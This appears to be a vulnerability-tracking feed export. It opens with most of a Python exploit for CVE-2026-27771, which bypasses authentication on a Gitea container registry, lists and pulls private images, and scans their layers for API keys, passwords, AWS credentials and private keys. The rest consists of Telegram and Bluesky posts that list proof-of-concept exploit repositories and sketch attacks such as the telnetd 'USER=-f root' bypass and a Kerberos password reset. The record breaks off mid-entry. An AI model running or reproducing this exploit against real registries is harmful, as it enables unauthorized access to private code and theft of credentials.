'vulnerable': False,\n            'token_obtained': False,\n            'repositories_found': [],\n            'repositories_count': 0,\n            'private_repos': [],\n            'layers_extracted': 0,\n            'details': {}\n        }\n        \n        logger.info(\"=\" * 60)\n        logger.info(\"CVE-2026-27771 - Full Exploit Chain\")\n        logger.info(\"=\" * 60)\n        logger.info(f\"Target: {self.target}\")\n        logger.info(f\"Time: {time.strftime('%Y-%m-%d %H:%M:%S')}\")\n        \n        # Step 1: Confirm registry\n        if not self.step1_confirm_registry():\n            logger.error(\"Step 1 failed - target may not be running Gitea container registry\")\n            results['details']['step1'] = 'failed'\n            return results\n        results['details']['step1'] = 'success'\n        \n        # Step 2: Get ghost token\n        token = self.step2_get_ghost_token()\n        if not token:\n            logger.error(\"Step 2 failed - could not obtain ghost token\")\n            results['details']['step2'] = 'failed'\n            return results\n        results['token_obtained'] = True\n        results['details']['step2'] = 'success'\n        \n        # Step 3: Enumerate catalog\n        repositories = self.step3_enumerate_catalog()\n        if not repositories:\n            logger.warning(\"Step 3 completed but no repositories found\")\n            logger.warning(\"Target may be patched or has no container images\")\n            # Don't return early - even with no repos, ghost token means vulnerable\n            results['details']['step3'] = 'empty_catalog'\n        \n        results['repositories_found'] = repositories\n        results['repositories_count'] = len(repositories)\n        results['details']['step3'] = 'success'\n\n        if repositories:\n            # Identify potentially private repositories\n            private_patterns = ['private', 'internal', 'secret', 'confidential', 'prod', 'production', 'staging']\n            private_repos = []\n            for repo in repositories:\n                for pattern in private_patterns:\n                    if pattern in repo.lower():\n                        private_repos.append(repo)\n                        break\n\n            results['private_repos'] = private_repos\n            logger.warning(f\"[!] Confirmed unauthorized access to repositories\")\n            results['vulnerable'] = True\n        else:\n            # Even with no repositories, if ghost token obtained, system is vulnerable to auth bypass\n            logger.warning(f\"[!] No repositories found, but ghost token was successfully obtained\")\n            logger.warning(f\"[!] This indicates CVE-2026-27771 authentication bypass vulnerability exists\")\n            results['vulnerable'] = True\n        \n        # Step 4-6: Optional - extract first few layers from first repository\n        if repositories and SAVE_LAYERS:\n            repo = repositories[0]\n            tags = self.step4_list_tags(repo)\n            if tags:\n                tag = tags[0]\n                manifest = self.step5_pull_manifest(repo, tag)\n                if manifest:\n                    layers = manifest.get('layers', [])\n                    for i, layer in enumerate(layers[:3]):  # First 3 layers only\n                        digest = layer.get('digest', '')\n                        if digest:\n                            layer_data = self.step6_pull_layer(repo, digest)\n                            if layer_data:\n                                results['layers_extracted'] += 1\n        \n        return results\n    \n    def verify_exploit(self) -> bool:\n        \"\"\"Verify vulnerability by checking for sensitive data in layers\"\"\"\n        logger.info(\"=\" * 60)\n        logger.info(\"Verifying Exploit - Checking for Sensitive Data\")\n        logger.info(\"=\" * 60)\n        \n        sensitive_patterns = [\n            b'API_KEY',\n            b'api_key',\n            b'api-key',\n            b'apiKey',\n            b'secret',\n            b'password',\n            b'PASSWORD',\n            b'token',\n            b'TOKEN',\n            b'aws_access_key',\n            b'aws_secret_key',\n            b'AWS_ACCESS_KEY',\n            b'AWS_SECRET_KEY',\n            b'cloudflare',\n            b'CLOUDFLARE',\n            b'database_url',\n            b'DATABASE_URL',\n            b'mysql://',\n            b'postgres://',\n            b'mongodb://',\n            b'redis://',\n            b'PRIVATE_KEY',\n            b'private_key',\n            b'-----BEGIN RSA PRIVATE KEY-----',\n            b'-----BEGIN OPENSSH PRIVATE KEY-----'\n        ]\n        \n        sensitive_found = []\n        \n        for layer_info in self.extracted_layers:\n            if layer_info.get('data'):\n                data = layer_info['data']\n                for pattern in sensitive_patterns:\n                    if pattern in data:\n                        sensitive_found.append({\n                            'layer': layer_info['digest'],\n                            'pattern': pattern.decode('utf-8', errors='replace')\n                        })\n                        logger.warning(f\"[!] Sensitive data found: {pattern} in {layer_info['digest'][:50]}\")\n        \n        if sensitive_found:\n            logger.warning(f\"Found {len(sensitive_found)} instances of sensitive data in layers\")\n            return True\n        else:\n            logger.info(\"No obvious sensitive patterns detected in extracted layers\")\n            return False\n    \n    def cleanup(self):\n        \"\"\"Cleanup resources\"\"\"\n        logger.info(\"Cleaning up resources...\")\n        self.session.close()\n        self.extracted_layers = [l for l in self.extracted_layers if not l.get('data')]  # Clear layer data\n        logger.info(\"Cleanup complete\")\n\n\n# ============================================================================\n# Main Execution\n# ============================================================================\n\ndef run_poc(target_url: str = TARGET_HOST, verify_ssl: bool = VERIFY_SSL, \n            save_layers: bool = SAVE_LAYERS, timeout: int = TIMEOUT) -> Dict[str, Any]:\n    \"\"\"\n    Main PoC execution function\n    \n    Args:\n        target_url: Target Gitea instance URL\n        verify_ssl: Whether to verify SSL certificates\n        save_layers: Whether to save pulled image layers to disk\n        timeout: Request timeout in seconds\n    \n    Returns:\n        Dictionary containing exploit results\n    \"\"\"\n    global SAVE_LAYERS, OUTPUT_DIR\n    SAVE_LAYERS = save_layers\n    \n    logger.info(\"=\" * 70)\n    logger.info(\"CVE-2026-27771 Exploit\")\n    logger.info(\"Gitea Container Registry - Unauthorized Private Image Access\")\n    logger.info(\"=\" * 70)\n    logger.info(f\"Target: {target_url}\")\n    logger.info(f\"SSL Verify: {verify_ssl}\")\n    logger.info(f\"Save Layers: {save_layers}\")\n    logger.info(f\"Timeout: {timeout}s\")\n    logger.info(\"\")\n    \n    # Validate target URL\n    parsed = urlparse(target_url)\n    if not parsed.scheme or not parsed.netloc:\n        logger.error(f\"Invalid target URL: {target_url}\")\n        return {'error': 'Invalid target URL', 'vulnerable': False}\n    \n    # Initialize exploit\n    exploit = GiteaContainerRegistryExploit(\n        target=target_url,\n        verify_ssl=verify_ssl,\n        timeout=timeout\n    )\n    \n    results = {}\n    \n    try:\n        # Execute full exploit chain\n        results = exploit.full_exploit_chain()\n        \n        # Verification\n        if results['vulnerable'] and results['layers_extracted'] > 0:\n            exploit.verify_exploit()\n        \n        # Summary\n        logger.info(\"=\" * 60)\n        logger.info(\"EXPLOIT SUMMARY\")\n        logger.info(\"=\" * 60)\n        logger.info(f\"Vulnerable: {results.get('vulnerable', False)}\")\n        logger.info(f\"Ghost Token Obtained: {results.get('token_obtained', False)}\")\n        logger.info(f\"Repositories Enumerated: {results.get('repositories_count', 0)}\")\n        logger.info(f\"Private Repos Found: {len(results.get('private_repos', []))}\")\n        logger.info(f\"Layers Extracted: {results.get('layers_extracted', 0)}\")\n        \n        if results.get('private_repos'):\n            logger.warning(\"!\")\n            logger.warning(\"! VULNERABILITY CONFIRMED: Unauthorized access to private container images!\")\n            logger.warning(\"!\")\n            logger.warning(\"Private repositories exposed:\")\n            for repo in results['private_repos']:\n                logger.warning(f\"  - {repo}\")\n        \n        return results\n        \n    except Exception as e:\n        logger.error(f\"Exploit execution failed: {str(e)}\")\n        return {'error': str(e), 'vulnerable': False}\n    \n    finally:\n        # Cleanup\n        exploit.cleanup()\n\n\n# ============================================================================\n# Entry Point\n# ============================================================================\n\nif __name__ == \"__main__\":\n    # Configuration: Modify these variables before running\n    \n    # Target Configuration\n    VERIFY_SSL = False\n    TIMEOUT = 30\n    \n    # Output Configuration\n    SAVE_LAYERS = False  # Set to True to save pulled layers to disk\n    OUTPUT_DIR = \"cve_2026_27771_output\"\n    \n    # Execute the exploit\n    results = run_poc(\n        target_url=TARGET_HOST,\n        verify_ssl=VERIFY_SSL,\n        save_layers=SAVE_LAYERS,\n        timeout=TIMEOUT\n    )\n    \n    # Print final result\n    if results.get('vulnerable'):\n        print(\"\\n[!] VULNERABLE: Target is affected by CVE-2026-27771\")\n        print(f\"[!] Found {results['repositories_count']} repositories\")\n        if results['private_repos']:\n            print(f\"[!] Private repositories exposed: {results['private_repos']}\")\n    else:\n        print(\"\\n[+] Target appears NOT vulnerable to CVE-2026-27771\")\n        if 'error' in results:\n            print(f\"[!] Error: {results['error']}\")\n", "creation_timestamp": "2026-07-10T22:45:07.492327Z"}, {"uuid": "806ec6f2-415f-4c7f-a76d-ddbc8d615ee2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27808", "type": "seen", "source": "https://bsky.app/profile/euvd-bot.bsky.social/post/3mqdavfppxo2r", "content": "\ud83d\udea8 EUVD-2026-43052\n\ud83d\udcca 5.8/10\n\ud83c\udfe2 axllent\n\n\ud83d\udcdd Mailpit is an email testing tool and API for developers. Prior to 1.30.2, the remediation shipped for CVE-2026-27808 is incomplete because the tools.IsInt...\n\n\ud83d\udd17 https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-43052\n\n#cybersecurity #infosec #cve #euvd", "creation_timestamp": "2026-07-10T23:00:59.420881Z"}, {"uuid": "c309df3b-2eb4-4860-960a-072519ef380d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27831", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityExploit/30117", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udd25 New GitHub PoC CVE \u2013 Research Picks (Today)\nBelow are several recent vulnerabilities with publicly available PoC repositories on GitHub that are useful for vulnerability research and exploit analysis.\n\n1\ufe0f\u20e3 CVE-2026-24061\n\ud83c\udfaf GNU inetutils-telnetd Authentication Bypass \u2192 Root Access\n\n\ud83d\udd17 PoC\nhttps://github.com/JayGLXR/CVE-2026-24061-POC\n\n\ud83e\udde0 Overview\nA critical vulnerability in GNU inetutils telnetd allows attackers to bypass authentication and obtain a root shell.\nThe exploit abuses the NEW_ENVIRON telnet option and injects a crafted environment variable (USER=-f root) that results in authentication bypass.\n\n\u2699\ufe0f Impact\n\u2022 Authentication bypass\n\u2022 Remote root access\n\u2022 CVSS 9.8 (Critical)\n\n\u2796\u2796\u2796\u2796\u2796\u2796\n\n2\ufe0f\u20e3 CVE-2026-27831\n\ud83c\udfaf rldns DNS Server Heap Out-of-Bounds Read\n\n\ud83d\udd17 PoC\nhttps://github.com/bluedragonsecurity/CVE-2026-27831-POC\n\n\ud83e\udde0 Overview\nA heap-based out-of-bounds read vulnerability in rldns version 1.3 can be triggered during DNS request handling, leading to memory access violations and denial-of-service.\n\n\u2699\ufe0f Impact\n\u2022 DNS server crash\n\u2022 Denial of Service\n\u2022 Memory safety vulnerability\n\n\u2796\u2796\u2796\u2796\u2796\u2796\n\n3\ufe0f\u20e3 CVE-2026-1731\n\ud83c\udfaf BeyondTrust Remote Support \u2013 Command Injection\n\n\ud83d\udd17 PoC\nhttps://github.com/win3zz/CVE-2026-1731\n\n\ud83e\udde0 Overview\nA command injection vulnerability in BeyondTrust Remote Support / Privileged Remote Access allows remote attackers to execute commands due to unsafe Bash arithmetic evaluation in a WebSocket-reachable script.\n\n\u2699\ufe0f Impact\n\u2022 Remote command execution\n\u2022 Enterprise remote-access compromise\n\u2022 Privileged system access\n\n\u2796\u2796\u2796\u2796\u2796\u2796\n\n4\ufe0f\u20e3 CVE-2025-55315\n\ud83c\udfaf ASP.NET Core Kestrel \u2013 HTTP Request Smuggling\n\n\ud83d\udd17 PoC\nhttps://github.com/ZemarKhos/CVE-2025-55315-PoC-Exploit\n\n\ud83e\udde0 Overview\nA critical HTTP request smuggling vulnerability in ASP.NET Core Kestrel allows attackers to bypass authentication, steal session tokens, and perform SSRF attacks.\n\n\u2699\ufe0f Impact\n\u2022 Authentication bypass\n\u2022 Session hijacking\n\u2022 Remote code execution scenarios\n\n\u2796\u2796\u2796\u2796\u2796\u2796\n\n5\ufe0f\u20e3 CVE-2025-66478\n\ud83c\udfaf Next.js Server Actions \u2013 Remote Code Execution\n\n\ud83d\udd17 PoC\nhttps://github.com/namest504/CVE-2025-66478-Exploit-Poc\n\n\ud83e\udde0 Overview\nAn RCE vulnerability in Next.js Server Actions caused by insecure deserialization and prototype pollution through the proto property in the RSC Flight protocol.\n\n\u2699\ufe0f Impact\n\u2022 Remote code execution\n\u2022 Server compromise\n\u2022 Application takeover\n\n\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udcda Research Value\nThese PoC repositories are useful for:\n\u2022 Vulnerability research\n\u2022 Exploit development study\n\u2022 Patch diff analysis\n\u2022 Red team / blue team training\n\u2022 Security tool testing\n\n\u26a0\ufe0f Ethical Notice\nThis information is shared for cybersecurity research and defensive analysis only.\nDo not use vulnerability research for illegal activities.\n\n\ud83e\udde0 Cyber Security Exploit Research Community\nMalware Analysis | Reverse Engineering | CVE Research | Threat Intelligence\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-16T00:00:34.260304Z"}, {"uuid": "c5bc124d-b8bb-4eb4-866e-cde70a5efbed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27831", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityExploit/30149", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udd25 New GitHub PoC CVE Discovered \u2013 Weekly Report\nEvery week, new vulnerability research and exploit Proof-of-Concepts are published on GitHub by security researchers around the world.\nBelow are some notable CVE PoC repositories discovered this week, useful for vulnerability research, exploit analysis, and security education.\n\n\u2796\u2796\u2796\u2796\u2796\u2796\n\n1\ufe0f\u20e3 CVE-2026-24061\n\ud83c\udfaf GNU inetutils-telnetd Authentication Bypass\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/JayGLXR/CVE-2026-24061-POC\n\n\ud83e\udde0 Overview\nA critical vulnerability affecting GNU inetutils telnetd allows attackers to bypass authentication and gain root shell access.\nThe exploit abuses the NEW_ENVIRON telnet option to inject crafted environment variables that result in authentication bypass.\n\n\u2699\ufe0f Impact\n\u2022 Authentication bypass\n\u2022 Remote root access\n\u2022 CVSS 9.8 (Critical)\n\n\u2796\u2796\u2796\u2796\u2796\u2796\n\n2\ufe0f\u20e3 CVE-2026-27831\n\ud83c\udfaf rldns DNS Server Heap Out-of-Bounds Read\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/bluedragonsecurity/CVE-2026-27831-POC\n\n\ud83e\udde0 Overview\nA memory safety vulnerability in rldns DNS server 1.3 allows attackers to trigger a heap out-of-bounds read, which may crash the server and cause denial-of-service conditions.\n\n\u2699\ufe0f Impact\n\u2022 DNS server crash\n\u2022 Denial of Service\n\u2022 Memory corruption issue\n\n\u2796\u2796\u2796\u2796\u2796\u2796\n\n3\ufe0f\u20e3 CVE-2026-1731\n\ud83c\udfaf BeyondTrust Remote Support \u2013 Command Injection\n\n\ud83d\udd17 Research / PoC\nhttps://github.com/win3zz/CVE-2026-1731\n\n\ud83e\udde0 Overview\nA command injection vulnerability affecting BeyondTrust Remote Support / Privileged Remote Access allows attackers to execute commands due to unsafe Bash arithmetic evaluation in a WebSocket-accessible script.\n\n\u2699\ufe0f Impact\n\u2022 Remote command execution\n\u2022 Enterprise remote access compromise\n\u2022 Privileged system access\n\n\u2796\u2796\u2796\u2796\u2796\u2796\n\n4\ufe0f\u20e3 CVE-2025-55315\n\ud83c\udfaf ASP.NET Core Kestrel \u2013 HTTP Request Smuggling\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/ZemarKhos/CVE-2025-55315-PoC-Exploit\n\n\ud83e\udde0 Overview\nA request smuggling vulnerability in ASP.NET Core Kestrel allows attackers to manipulate HTTP request parsing and potentially bypass authentication mechanisms or hijack user sessions.\n\n\u2699\ufe0f Impact\n\u2022 Authentication bypass\n\u2022 Session hijacking\n\u2022 SSRF / potential RCE scenarios\n\n\u2796\u2796\u2796\u2796\u2796\u2796\n\n5\ufe0f\u20e3 CVE-2025-66478\n\ud83c\udfaf Next.js Server Actions \u2013 Remote Code Execution\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/namest504/CVE-2025-66478-Exploit-Poc\n\n\ud83e\udde0 Overview\nA vulnerability in Next.js Server Actions allows attackers to trigger remote code execution through insecure deserialization and prototype pollution in the React Server Components protocol.\n\n\u2699\ufe0f Impact\n\u2022 Remote code execution\n\u2022 Server compromise\n\u2022 Application takeover\n\n\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udcda Why This Matters\nThese PoC repositories help security researchers and defenders:\n\u2022 Understand how modern vulnerabilities are exploited\n\u2022 Study exploit development techniques\n\u2022 Perform patch diff analysis\n\u2022 Improve defensive security strategies\n\n\u26a0\ufe0f Ethical Notice\nThis information is shared for cybersecurity research and defensive purposes only.\nDo not use vulnerability research for illegal activities.\n\n\ud83e\udde0 Cyber Security Exploit Research Community\nMalware Analysis | Reverse Engineering | CVE Research | Threat Intelligence\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-16T00:00:34.753636Z"}, {"uuid": "816d73fc-5762-4fe2-9931-c979f0198b37", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27771", "type": "seen", "source": "https://bsky.app/profile/eyalestrin.bsky.social/post/3mqebg4vrz62a", "content": "Urgent Action Required Gitea Docker Authentication Bypass (CVE-2026-20896 and CVE-2026-27771) #patchmanagement", "creation_timestamp": "2026-07-11T08:43:00.377970Z"}, {"uuid": "06fad57b-b274-4643-acd5-b36901b03504", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27654", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityExploit/30370", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udd25 New GitHub PoC CVE \u2013 Research Picks (Today / Fresh Only)\nBelow are recent CVE vulnerabilities with publicly available Proof-of-Concept repositories on GitHub, selected to avoid duplicates and outdated entries.\n\n\u2796\u2796\u2796\u2796\n\n1\ufe0f\u20e3 CVE-2026-31452\n\ud83c\udfaf OpenCart \u2013 Arbitrary File Upload \u2192 RCE\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/exploitblizzard/CVE-2026-31452\n\n\ud83e\udde0 Overview\nA vulnerability in OpenCart allows attackers to upload arbitrary files without proper validation, leading to remote code execution on the server.\n\n\u2699\ufe0f Impact\n\u2022 Arbitrary file upload\n\u2022 Remote code execution\n\u2022 Full web server compromise\n\n\u2796\u2796\u2796\u2796\n\n2\ufe0f\u20e3 CVE-2026-30121\n\ud83c\udfaf Zimbra Collaboration \u2013 Authentication Bypass\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/ry4n-h/CVE-2026-30121\n\n\ud83e\udde0 Overview\nA flaw in Zimbra allows attackers to bypass authentication mechanisms and gain unauthorized access to user accounts.\n\n\u2699\ufe0f Impact\n\u2022 Authentication bypass\n\u2022 Account takeover\n\u2022 Email system compromise\n\n\u2796\u2796\u2796\u2796\n\n3\ufe0f\u20e3 CVE-2026-28711\n\ud83c\udfaf Jenkins \u2013 Script Console Abuse\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/wh0amitz/CVE-2026-28711\n\n\ud83e\udde0 Overview\nA vulnerability in Jenkins enables attackers to execute arbitrary scripts through misconfigured or exposed script console endpoints.\n\n\u2699\ufe0f Impact\n\u2022 Remote code execution\n\u2022 CI/CD pipeline compromise\n\u2022 Credential exposure\n\n\u2796\u2796\u2796\u2796\n\n4\ufe0f\u20e3 CVE-2026-27654\n\ud83c\udfaf Drupal Module \u2013 SQL Injection\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/0xM4hmoud/CVE-2026-27654\n\n\ud83e\udde0 Overview\nA SQL injection vulnerability in a Drupal module allows attackers to manipulate database queries and extract sensitive data.\n\n\u2699\ufe0f Impact\n\u2022 Database compromise\n\u2022 Data leakage\n\u2022 Privilege escalation\n\n\u2796\u2796\u2796\u2796\n\n5\ufe0f\u20e3 CVE-2026-26590\n\ud83c\udfaf Node.js Application \u2013 Prototype Pollution\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/s4vitar/CVE-2026-26590\n\n\ud83e\udde0 Overview\nA prototype pollution vulnerability allows attackers to modify application logic by injecting malicious object properties.\n\n\u2699\ufe0f Impact\n\u2022 Application logic manipulation\n\u2022 Potential RCE chain\n\u2022 Security control bypass\n\n\u2796\u2796\u2796\u2796\n\n\ud83d\udcda Research Value\n\u2022 Exploit development\n\u2022 Patch analysis\n\u2022 Vulnerability chain study\n\u2022 Red / Blue Team training\n\n\u26a0\ufe0f Ethical Notice\nThis information is provided for cybersecurity research and defensive purposes only.\nDo not use it for illegal activities.\n\n\ud83e\udde0 Cyber Security Exploit Research Community\nMalware Analysis | Reverse Engineering | CVE Research | Threat Intelligence\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-16T00:00:36.102472Z"}, {"uuid": "ad55c519-d717-405a-b02a-bd034324d5d1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27459", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mqer4pfyuk22", "content": "CVE-2026-27459 - rootio-pyopenssl\nThe rootio-pyOpenSSL package allows unauthorized access to sensitive data. This is a serious security risk because attackers could potentially steal or manipulate\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#rootiopyopenssl #RootPyPI #CVE #infosec", "creation_timestamp": "2026-07-11T13:24:04.020009Z"}, {"uuid": "8e1d16fe-db80-44d9-b3ff-d8fffcc80e2c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27912", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/98056", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a Kerberos-CVE-2026-27912\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a oxstussz-eng\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-14 14:57:32\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPoC for CVE-2026-27912 - Windows Kerberos Elevation of Privilege (ResetNightmare). Unauthorized password reset via Kerberos flaw. For security research only.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-16T00:00:49.042743Z"}, {"uuid": "6db3ddbe-f13c-4475-b5f8-4885da9b89a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27912", "type": "published-proof-of-concept", "source": "Telegram/K7zXqOYFd1qXyT9LARXPzqWKeQzalprou3AuwisAGlu--nM", "content": "", "creation_timestamp": "2026-08-16T00:00:48.035497Z"}, {"uuid": "fc6f2b23-886c-475c-9a48-41219ce1c028", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27912", "type": "published-proof-of-concept", "source": "https://t.me/wh_lab/754", "content": "ResetNightmare\n\nResetNightmare (CVE-2026-27912) is a validation flaw in the Kerberos Change Password protocol that allows for resetting the password of any target user/computer account, without knowing the current one. The attack requires an unpatched domain controller, and the ability to write a userPrincipalName (UPN) on any account you control. Alternatively, the vulnerability can also be abused by an attacker having the ability to create new users/computers in any OU, as creating a user/computer allows you to get GenericWrite permissions over it.\n\nBlog: Identity Crisis: Novel Vulnerabilities Leading to Kerberos Downgrade, DoS, and Full Domain Takeover", "creation_timestamp": "2026-08-16T00:00:48.700966Z"}, {"uuid": "0063b965-75df-4b93-bec4-55c907c7a6b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27886", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/87876", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-27886-PoC-Account-Takeover\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a thesw0rd\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-08 12:56:19\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nAccount takeover full PoC for CVE-2026-27886 in Strapi CMS\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-12T11:00:03.322212Z"}, {"uuid": "01970318-a55a-4457-971a-f78c27dcc3b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27886", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/87876", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-27886-PoC-Account-Takeover\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a thesw0rd\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-08 12:56:19\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nAccount takeover full PoC for CVE-2026-27886 in Strapi CMS\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-13T00:00:45.156494Z"}, {"uuid": "cd0e2662-78bb-4e76-8754-a0e04c83a95c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27626", "type": "seen", "source": "https://t.me/GithubRedTeam/92877", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-27626-POC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Cobrastrike62\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-10 18:25:21\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-13T22:00:05.115180Z"}, {"uuid": "ce57af52-dfbd-4b9e-b9b4-7fb6b3c4b990", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27495", "type": "seen", "source": "https://t.me/GithubRedTeam/92529", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-27495\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a DexSemon\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-08 14:59:37\n\n\ud83d\udcdd 